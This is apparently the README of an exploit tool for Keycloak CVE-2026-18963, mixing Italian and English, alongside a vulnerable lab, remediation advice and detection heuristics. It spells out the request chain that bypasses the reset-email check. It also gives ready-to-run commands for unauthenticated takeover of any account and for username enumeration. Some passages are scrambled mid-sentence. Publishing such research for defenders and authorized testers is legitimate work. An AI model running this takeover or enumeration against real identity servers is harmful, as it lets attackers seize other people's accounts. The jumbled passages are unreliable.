
Exploit per Keycloak CVE-2026-18963 che consente il takeover non autenticato dell'account tramite bypass del reset delle credenziali. Include rilevamento sicuro, prova non distruttiva, takeover completo, enumerazione degli username e un laboratorio con versioni vulnerabili e corrette.
Conoscendo solo un nome utente o un indirizzo e-mail, un attaccante non autenticato imposta una password arbitraria su qualsiasi account Keycloak. L'e-mail di reset della password viene consegnata alla vittima reale e non è mai necessaria — l'attaccante non legge mai una casella di posta, non fa mai clic su un link e non possiede alcuna credenziale o sessione precedente.
Interessati: Keycloak 26.0.0 – 26.7.1. Corretto in 26.7.2.
Un solo comando. Nessun nome utente valido richiesto e nessun effetto collaterale — non invia alcuna e-mail, non scrive su alcun account e si ferma prima del passaggio sfruttabile.```bash git clone https://github.com/Snizi/CVE-2026-18963-Exploit cd CVE-2026-18963-Exploit
python3 cve_2026_18963_poc.py
--base https://sso.example.com --realm YOUR_REALM
--client-id account
--redirect-uri https://sso.example.com/realms/YOUR_REALM/account/
--safe-check
Python 3.9+, solo libreria standard. Niente da installare.
| Exit | Verdetto | Significato |
|:---:|---|---|
| `0` | 🔴 **VULNERABILE** | il gate e-mail parcheggiato è stato servito — il bug stesso |
| `2` | 🟢 **CORRETTO** | il flusso è diramato al login e vi è rimasto (fix #51844 presente) |
| `2` | 🟡 **MITIGATO** | reset-credentials irraggiungibile — *Password dimenticata* è disattivato. **Non è una patch.** |
| `3` | ⚪ **INCONCLUSIVO** | risposta non riconosciuta — **non interpretarlo come un passaggio** |
Eseguilo per ogni realm — *Password dimenticata* è un'impostazione per realm, e `master` conta.
Dettagli, e perché il controllo non richiede utente e non tocca nulla, in
[§4a](#4a-safe-detection---safe-check--start-here).
**Sai già di essere esposto?** Vai a [rimedio](#8-remediation) e
[rilevamento / threat hunting](#9-detection).
### Provalo senza un target
Il repo include un lab che avvia una versione vulnerabile **26.7.1** e una corretta **26.7.2**
affiancate contro un realm identico, più una casella di posta per osservare l'e-mail di reset
arrivare e restare non letta mentre l'account viene compromesso:```bash
cd lab && docker compose up -d
python3 ../cve_2026_18963_poc.py --base http://localhost:8080 \
--realm poc --client-id poc-app --safe-check # VULNERABLE
python3 ../cve_2026_18963_poc.py --base http://localhost:8100 \
--realm poc --client-id poc-app --safe-check # PATCHED
⚠️ Solo test autorizzati
Questo repository esiste per difensori, responder agli incidenti e penetration tester autorizzati. Eseguilo solo su sistemi di tua proprietà o per i quali disponi di un'autorizzazione scritta al test. Tutto ciò che contiene è fornito con un laboratorio vulnerabile autonomo (
lab/), quindi non è necessario toccare nulla di esterno per imparare come funziona il bug. Puntarlo verso infrastrutture di terze parti senza autorizzazione è illegale nella maggior parte delle giurisdizioni e non è un'attività supportata da questo progetto.
Riferimenti: keycloak#51833 · GHSA-4gv3-mc9p-5wqc · fix keycloak#51844
Due difetti concatenati. Nessuno dei due è sfruttabile da solo.
services/src/main/java/org/keycloak/authentication/DefaultAuthenticationFlow.java
processAction() — qualsiasi POST che trasporti la chiave del form tryAnotherWay:```java
processor.getAuthenticationSession().setAuthNote(
AuthenticationProcessor.AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED, "true");
return createSelectAuthenticatorsScreen(model);
La nota è un **booleano nudo senza alcuna registrazione di quale set di esecuzione l'abbia impostata**. Viene
azzerata solo nel ramo che gestisce un parametro `authenticationExecution` inviato. Ometti quel parametro — come fa questo PoC per tutto il tempo — e il flag rimane
impostato per tutta la durata della sessione di autenticazione.
`processFlow()` — finché il flag è truthy, la normale valutazione del flusso viene saltata:```java
if (Boolean.parseBoolean(authSession.getAuthNote(AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED))) {
String lastExecutionId = authSession.getAuthNote(CURRENT_AUTHENTICATION_EXECUTION);
if (lastExecutionId != null) {
AuthenticationExecutionModel executionModel =
realm.getAuthenticationExecutionById(lastExecutionId);
if (executionModel != null)
return createSelectAuthenticatorsScreen(executionModel); // <-- attacker-usable form
}
}
Esegue il rendering di un modulo inviabile destinato a qualunque esecuzione sia attualmente in attesa, invece di mantenere la sessione bloccata su "in attesa dell'e-mail".
Il collante è processResult() case FORK: — quando Send Reset Email viene attivato, timbra
CURRENT_AUTHENTICATION_EXECUTION = <reset-credential-email execution id> e dirama
il browser alla pagina di login. L'esecuzione in attesa è precisamente il gate dell'e-mail.
`services/src/main/java/org/keycloak/authentication/authenticators/resetcred/ResetCredentialEmail.java````java @Override public void action(AuthenticationFlowContext context) { context.getUser().setEmailVerified(true); context.success(); }
Unconditional. Nothing verifies that the flow was resumed by a valid action token,
so *reaching* `action()` is treated as equivalent to proving mailbox control.
### The chain```
tryAnotherWay POST → sticky AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED="true"
submit victim identifier → mail sent to victim, e-mail execution parked (FORK)
re-enter reset-credentials → sticky flag serves a form targeting the parked e-mail execution
POST that form → ResetCredentialEmail.action() → success() → gate bypassed
→ flow advances to UPDATE_PASSWORD → attacker sets the password
Sei richieste HTTP, nessuna autenticazione, nessun parametro authenticationExecution in nessun
punto.
model.getId(), e processFlow() la rispetta solo quando
è uguale a CURRENT_AUTHENTICATION_EXECUTION, altrimenti la rimuove. Nell'attacco i
due valori differiscono (id di choose-user vs. id di e-mail-gate) — esattamente ciò che la patch rileva, ed
esattamente il segnale su cui si basa --safe-check.ResetCredentialEmail.action() ora richiede
context.getUser().getId().equals(authNote(ACTION_TOKEN_USER_ID))
e in caso contrario fallisce con INVALID_USER.6a9e60bb, che ha aggiunto la schermata del selettore di autenticazione "Try another way" al
flusso di reset. Qualsiasi versione precedente semplicemente non ha quel percorso di codice. Questo include le vecchie
distribuzioni basate su WildFly e RH-SSO 7.x, che non sono interessate da questo
bug pur rimanendo a fine vita e vulnerabili a molti altri. Rimanere su una
build legacy non è una mitigazione.26.7.2 è l'unica release corretta
pubblicata per il ramo community. Se una distribuzione si trova su 26.0 – 26.6, non esiste
alcuna release di patch su quella linea — la correzione richiede un upgrade di versione minore, non
una release point. I tag 26.4.15 / 26.6.6 sono backport del vendor e non sono
intercambiabili con le immagini community.Prerequisiti: il realm ha Forgot password abilitato e il suo
flusso di reset-credentials associato usa l'authenticator integrato reset-credential-email.
Il repo include sia un Keycloak vulnerabile sia uno patchato, che importano lo stesso realm, oltre a Mailpit per catturare la mail di reset — così puoi vederla arrivare e rimanere non letta mentre l'account viene compromesso.```bash cd lab docker compose up -d
| Servizio | URL | Versione |
|---|---|---|
| `kc-vuln` | http://localhost:8080 | 26.7.1 — **vulnerabile** |
| `kc-patched` | http://localhost:8100 | 26.7.2 — **controllo corretto** |
| `kc-mailpit` | http://localhost:8025 | casella di posta della vittima |
Realm `poc`, client pubblico `poc-app`, utente `victim` / `OriginalPassw0rd!`, amministratore
Keycloak `admin` / `admin`.
Fissa diverse build con `KC_VULN_VERSION` / `KC_PATCHED_VERSION`:```bash
KC_VULN_VERSION=26.5.7 docker compose up -d keycloak-vuln
Tra le esecuzioni, lab/reset-victim.sh ripristina la password della vittima
(KC=http://localhost:8100 lab/reset-victim.sh punta all'istanza patchata).
lab/legit_reset.py esegue un reset genuino estraendo il link con action-token
da Mailpit e cliccandolo. È il campione di controllo per il lavoro di rilevamento in
§9 — esegui sia questo che l'exploit contro lo stesso realm, poi confronta le tracce.
Teardown: docker compose down -v.
Python 3.9+, solo libreria standard — nessuna dipendenza, si installa su qualsiasi jump box.``` --base Keycloak base URL (e.g. https://sso.example.com) --realm realm name --client-id any enabled public client with the standard flow --redirect-uri a URI permitted by that client (default http://localhost:9999/callback) --insecure skip TLS verification --verbose log every HTTP request --dump FILE write the response body of a failing step to FILE
`--client-id` può essere qualsiasi client pubblico abilitato con il flusso standard. Il client integrato
`account` esiste in ogni realm ed è la scelta affidabile, ma limita
gli URI di reindirizzamento, quindi `--redirect-uri` **deve** quindi essere
`<base>/realms/<realm>/account/` — il valore predefinito viene rifiutato e il passaggio 1 fallisce.
### 4a. Rilevamento sicuro (`--safe-check`) — inizia qui
Non richiede **alcun nome utente valido** e **non ha effetti collaterali**. Questa è la sonda da usare
quando non devi disturbare il target.```bash
python3 cve_2026_18963_poc.py \
--base https://sso.example.com --realm corp \
--client-id account \
--redirect-uri https://sso.example.com/realms/corp/account/ \
--safe-check
Perché non richiede un utente e non invia alcuna e-mail. ResetCredentialEmail.authenticate()
si dirama anche per un utente sconosciuto:```java
if (user == null) { context.forkWithSuccessMessage(EMAIL_SENT); return; }
`processResult()` `case FORK:` quindi mette in pausa `CURRENT_AUTHENTICATION_EXECUTION`
sull'esecuzione e-mail **anche se non è stato trovato nessuno** — e nessuna mail viene inviata,
perché non c'è nessuno a cui inviarla. La sonda si ferma al discriminatore e non
POSTa mai il gate, quindi `action()` non viene mai eseguita: nessuna NPE sul target, nessuna scrittura
di `emailVerified`, nessuna mail, nessun account toccato.
**Asserisce solo sul segnale positivo.** VULNERABILE ⟺ il passo 5 restituisce un form
ancora dentro `login-actions/reset-credentials` la cui `execution` differisce dall'esecuzione
di choose-user. Questo *è* il bug: la nota obsoleta
`AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED` che serve il gate e-mail in pausa.
Entrambe le metà contano — il percorso prova che siamo ancora nel flusso di reset, l'id
di esecuzione diverso prova che è il gate e-mail e non un re-render.
Qualsiasi altra cosa **non** viene silenziosamente dichiarata patched. PATCHED richiede la propria evidenza
(fork verso `login-actions/authenticate` *e* un campo password presente); tutto il resto
è INCONCLUSIVE e richiede un intervento umano. Un design precedente trattava "non il
form del gate" come patched, trasformando silenziosamente ogni tema personalizzato, pagina di errore, blocco WAF
e interstiziale in un falso certificato di salute.
### 4b. Prova non distruttiva (`--check`)
Guida l'intera catena ma si ferma al form Update Password. Raggiungere quel form
senza un action token è conclusivo.```bash
python3 cve_2026_18963_poc.py \
--base https://sso.example.com --realm corp \
--client-id account \
--redirect-uri https://sso.example.com/realms/corp/account/ \
--victim [email protected] --check
Due effetti collaterali sono inevitabili, perché avvengono a monte del modulo della password — dichiarali nell'ambito dell'engagement:
action() imposta emailVerified = true sull'account.Nessuna credenziale viene modificata. Preferisci un account di test dedicato.
Solo in laboratorio o in una dimostrazione esplicitamente autorizzata.```bash
python3 cve_2026_18963_poc.py
--base http://localhost:8080 --realm poc --client-id poc-app
--victim victim --new-password 'PoCPassw0rd!1'
Esci `0` vulnerabile · `2` non sfruttabile · `1` password cambiata ma la conferma
grant non è riuscita (punta `--verify-client-id` a un client con Direct Access Grants).
Completare il flusso restituisce anche un **codice di autorizzazione OIDC per la vittima**, quindi
il takeover è immediato — non è richiesto un secondo login con la nuova password.
### 4d. Enumerazione degli username (`--enum`)
La stessa falla è un oracolo per gli username, e più potente di quanto Keycloak normalmente
consenta. `ResetCredentialEmail.authenticate()` restituisce deliberatamente un identico
*"You should receive an email shortly"* per utenti reali e sconosciuti, quindi il modulo di reset
stesso non può essere usato per enumerare — quella difesa regge ancora al passo 4. Si rompe
al **passo 6**, dove `action()` dereferenzia l'utente incondizionatamente
(`context.getUser().setEmailVerified(true)`).
| Identificatore | Passo 6 | Verdetto |
|---|---|---|
| utente reale | `200`, raggiunge il modulo Update Password | VALIDO |
| utente sconosciuto | `400` (pagina di errore NPE) | NON VALIDO |```bash
python3 cve_2026_18963_poc.py \
--base http://localhost:8080 --realm poc --client-id poc-app \
--enum candidates.example.txt
Non modifica mai una password. Esce con 0 se un qualsiasi identificatore viene risolto, 2 altrimenti.
Costo per sonda — leggere prima di eseguire. Raggiungere l'oracolo richiede il completamento
del passaggio 4, quindi ogni sonda contro un account reale invia a quella persona una vera
e-mail di reimpostazione della password e imposta emailVerified = true sul suo record. Non è
un controllo silenzioso: è visibile al titolare dell'account e muta i suoi dati. Una
wordlist di 5.000 nomi equivale a 5.000 e-mail a persone reali e 5.000 account mutati.
Usalo per dimostrare che l'oracolo esiste su una manciata di identificatori per il report — non per raccogliere una directory. Le protezioni sono deliberatamente prudenti:
--enum-max N rifiuta liste più lunghe di N (default 25)--enum-delay SEC mette in pausa tra le sonde (default 2.0)Alzare uno dei due dovrebbe essere una decisione consapevole registrata nelle note dell'engagement.
Angolo di reporting: questo sconfigge un controllo anti-enumerazione che Keycloak ha implementato di proposito. Vale la pena scriverlo come finding a sé stante insieme al takeover, e annulla "i nostri username non sono indovinabili" come fattore mitigante.
Qualsiasi deployment serio include un tema di login personalizzato, e i temi personalizzati rinominano o eliminano
gli id degli elementi standard (kc-form-login, kc-reset-password-form,
kc-select-credential-form, kc-passwd-update-form). Uno strumento che si basa su quegli id
riporta un falso negativo proprio sui deployment che contano di più — questo
lo faceva, prima di essere riscritto. I temi visti in produzione usano id come id="login-form"
e includono un'ancora password dimenticata con un href vuoto.
Questa PoC quindi non si basa su nulla che sia controllato dal tema:
action= dei form
sulla pagina — login-actions/reset-credentials, login-actions/authenticate,
login-actions/required-action — e dal parametro di query execution al loro interno.
Questi percorsi sono generati dal LoginActionsService di Keycloak stesso, non dal
tema.grep del sorgente: non c'è un solo id kc-* al suo interno./realms/<realm>/login-actions/reset-credentials?client_id=…&tab_id=… e lo sonda
direttamente, prendendo tab_id da qualunque form la pagina di login esponga.Se un target restituisce ancora INCONCLUSIVE, esegui con --verbose --dump out.html e
leggi la risposta — lo strumento rifiuta deliberatamente di fare supposizioni.
Un client che applica PKCE rifiuta il passaggio 1 con
Missing parameter: code_challenge_method. Questo viene riportato come INCONCLUSIVE
(exit 3), mai come superato. Finché non arriva il supporto PKCE, un realm il cui unico
client pubblico utilizzabile impone PKCE non può essere verificato con questo strumento — prova il client
integrato account, che normalmente non lo impone.
Ogni esecuzione qui sotto è contro il lab in questo repo, usando il codice come pubblicato.
Due finding che vale la pena segnalare oltre al testo dell'advisory:
ResetCredentialEmail.authenticate() prende il percorso forkWithSuccessMessage quando
user.getEmail() è null, che comunque parcheggia l'esecuzione tramite case FORK:. Lo
stesso vale per un errore di invio SMTP — un server di posta rotto o assente non è una
mitigazione. Questo conta direttamente per i realm federati AD/LDAP, dove gli account
spesso non hanno alcun attributo mail.L'MFA non è una mitigazione. Il flusso di reset-credentials predefinito non contiene alcun passaggio OTP, e una volta superato, l'attaccante può rimuovere i fattori registrati della vittima.
Fix: aggiornare. 26.7.2 per le build community, o il backport del vendor corrispondente alla tua sottoscrizione. Tutto il resto è un ripiego.
Mitigazioni provvisorie, dalla migliore in giù:
master.I realm il cui flusso di reset associato è completamente personalizzato e non invoca mai
reset-credential-email non sono sfruttabili tramite questo percorso.
Keycloak non emette alcun evento "action token saltato", quindi il rilevamento è euristico. Esegui
lab/legit_reset.py insieme all'exploit per generare entrambe le tracce e confrontarle.
GET /login-actions/action-token?... (la vittima che clicca la mail) prima del
cambio password. Il bypass non ha tale GET. Mostra invece una POST su
login-actions/reset-credentials il cui corpo contiene tryAnotherWay, seguita da
una seconda POST sullo stesso percorso con corpo vuoto, poi il form della password.
Una POST tryAnotherWay dentro il flusso di reset non è qualcosa che l'UI standard produce
nell'uso normale.SEND_RESET_PASSWORD seguito da UPDATE_PASSWORD che condividono lo
stesso code_id entro pochi secondi — sub-secondo nel lab. Anche un utente con la mail
già aperta può sembrare veloce, quindi conferma con i log del proxy.emailVerified è passato a true senza un corrispondente
evento VERIFY_EMAIL sono un indicatore di supporto utile, e uno che l'attaccante
non può evitare di lasciare.L'assenza di eventi non prova nulla se il logging o la conservazione degli eventi era disattivata. Controlla la finestra di conservazione prima di concludere che un deployment non sia stato colpito.
Snizi — github.com/Snizi — [email protected]
Rilasciato sotto Licenza MIT. Issue e PR benvenuti — in particolare supporto PKCE e ulteriori stranezze dei temi reali.
| Linea | Vulnerabile | Fix community |
|---|
| Legacy (Keycloak basato su WildFly, ≤ 17) | non interessata | — |
| Quarkus 17 – 25.x | non interessata | — |
| 26.0 | 26.0.0 – 26.0.17 | nessuno |
| 26.1 | 26.1.0 – 26.1.5 | nessuno |
| 26.2 | 26.2.0 – 26.2.16 | nessuno |
| 26.3 | 26.3.0 – 26.3.5 | nessuno |
| 26.4 | 26.4.0 – 26.4.14 | 26.4.15 (tag di backport del vendor) |
| 26.5 | 26.5.0 – 26.5.7 | nessuno |
| 26.6 | 26.6.0 – 26.6.5 | 26.6.6 (tag di backport del vendor) |
| 26.7 | 26.7.0 – 26.7.1 | 26.7.2 |
| Exit | Verdict | Significato |
|---|
0 | VULNERABILE | è stato servito il gate e-mail in attesa — il bug stesso |
2 | PATCHED | il flusso si è diramato verso il login e vi è rimasto (fix #51844 presente) |
2 | MITIGATO | reset-credentials irraggiungibile — Forgot password è disattivato. Non è una patch. |
3 | INCONCLUSIVO | risposta non riconosciuta — non interpretarlo come un passaggio |
| Test | Target | Risultato |
|---|
--safe-check | 26.7.1 | VULNERABILE, exit 0 — gate e-mail servito (execution ≠ choose-user) |
--safe-check | 26.7.2 | CORRETTO, exit 2 — diramato al login e rimasto lì |
--safe-check, Password dimenticata disattivata | 26.7.2 | MITIGATO, exit 2 — HTTP 400, flusso irraggiungibile |
| Takeover completo | 26.7.1 | exit 0 — password impostata, codice OIDC emesso, password grant conferma |
| Takeover completo | 26.7.2 | exit 2 — bloccato al passaggio 5, account intatto |
--check | 26.7.1 | raggiunto UPDATE_PASSWORD; password verificata invariata dopo |
--enum | 26.7.1 | victim e [email protected] VALIDI, does-not-exist NON VALIDO |
| Stato credenziali dopo il takeover | 26.7.1 | nuova password → 200, vecchia password → 400 |
| Stato credenziali dopo esecuzione bloccata | 26.7.2 | vecchia password → 200, password dell'attaccante → 400 |
| Casella di posta della vittima | Mailpit | e-mail di reset consegnate e non lette; il link con action-token non viene mai recuperato |